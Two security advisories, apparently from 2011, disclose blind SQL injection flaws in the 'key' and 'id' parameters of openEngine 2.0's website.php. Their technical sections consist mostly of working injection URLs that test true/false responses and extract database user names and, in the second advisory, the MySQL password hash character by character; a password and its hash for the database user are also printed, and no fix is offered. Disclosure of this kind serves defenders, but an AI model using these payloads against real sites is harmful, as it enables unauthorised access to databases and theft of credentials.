Advisory: openEngine 2.0 'key' Blind SQL Injection vulnerability
Advisory ID: SSCHADV2011-026
Author: Stefan Schurtz
Affected Software: Successfully tested on openEngine 2.0 100226
Vendor URL: http://www.openengine.de/
Vendor Status: informed
CVE-ID: -
==========================
Vulnerability Description:
==========================
The 'key' parameter in openEngine 2.0 is prone to a Blind SQL Injection
==================
Technical Details:
==================
# Database information
User: easy
# Blind SQL Injection
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR 1=2 -> "Sie m?chten die Seite versenden."
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR 1=1 -> "Sie m?chten die Seite Homepage (de) versenden."
# User-Guessing
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),2,1)) = 101
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),3,1)) = 97
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),4,1)) = 115
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),5,1)) = 121
=========
Solution:
=========
-
====================
Disclosure Timeline:
====================
08-Oct-2011 - informed developers
08-Oct-2011 - release date of this security advisory
========
Credits:
========
Vulnerability found and advisory written by Stefan Schurtz.
===========
References:
===========
http://www.openengine.de/
http://www.rul3z.de/advisories/SSCHADV2011-026.txt
Advisory: openEngine 2.0 'id' Blind SQL Injection
vulnerability
Advisory ID: SSCHADV2011-019
Author: Stefan Schurtz
Affected Software: Successfully tested on openEngine 2.0 100226
Vendor URL: http://www.openengine.de/
Vendor Status: informed
CVE-ID: -
==========================
Vulnerability Description:
==========================
openEngine 2.0 is prone to a Blind SQL Injection
==================
Technical Details:
==================
Database information
User: easy
Password: easy (Hash: *E8F5FAE73EBB89AE362C59646600DDCD35EAD7E0)
Blind SQL Injection
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND 1=1
AND ('a'='a&key= <- error
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND 1=0
AND ('a'='a&key= <- no error
User-Guessing
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND
ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM
information_schema.USER_PRIVILEGES LIMIT 4,1),2,1)) = 101 AND ('a'='a
<- error (e)
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND
ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM
information_schema.USER_PRIVILEGES LIMIT 4,1),3,1)) = 97 AND ('a'='a <-
error (a)
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND
ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM
information_schema.USER_PRIVILEGES LIMIT 4,1),4,1)) = 115 AND ('a'='a
<- error (s)
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND
ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM
information_schema.USER_PRIVILEGES LIMIT 4,1),5,1)) = 121 AND ('a'='a
<- error (y)
Password(Hash)-Guessing
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND
ORD(MID((SELECT DISTINCT(IFNULL(CAST(password AS CHAR),CHAR(32))) FROM
mysql.user WHERE user=CHAR(101,97,115,121) LIMIT 0,1),1,1)) = 42 AND
('a'='a <- error (*)
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND
ORD(MID((SELECT DISTINCT(IFNULL(CAST(password AS CHAR),CHAR(32))) FROM
mysql.user WHERE user=CHAR(101,97,115,121) LIMIT 0,1),2,1)) = 69 AND
('a'='a <- error (E)
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND
ORD(MID((SELECT DISTINCT(IFNULL(CAST(password AS CHAR),CHAR(32))) FROM
mysql.user WHERE user=CHAR(101,97,115,121) LIMIT 0,1),3,1)) = 56 AND
('a'='a <- error (8)
... and so on
=========
Solution:
=========
-
====================
Disclosure Timeline:
====================
25-Sep-2011 - informed developers
26-Sep-2011 - release date of this security advisory
27-Sep-2011 - post on BugTraq
========
Credits:
========
Vulnerability found and advisory written by Stefan Schurtz.
===========
References:
===========
http://www.openengine.de/
https://www.securityfocus.com/bid/49794/info
http://www.rul3z.de/advisories/SSCHADV2011-019.txt
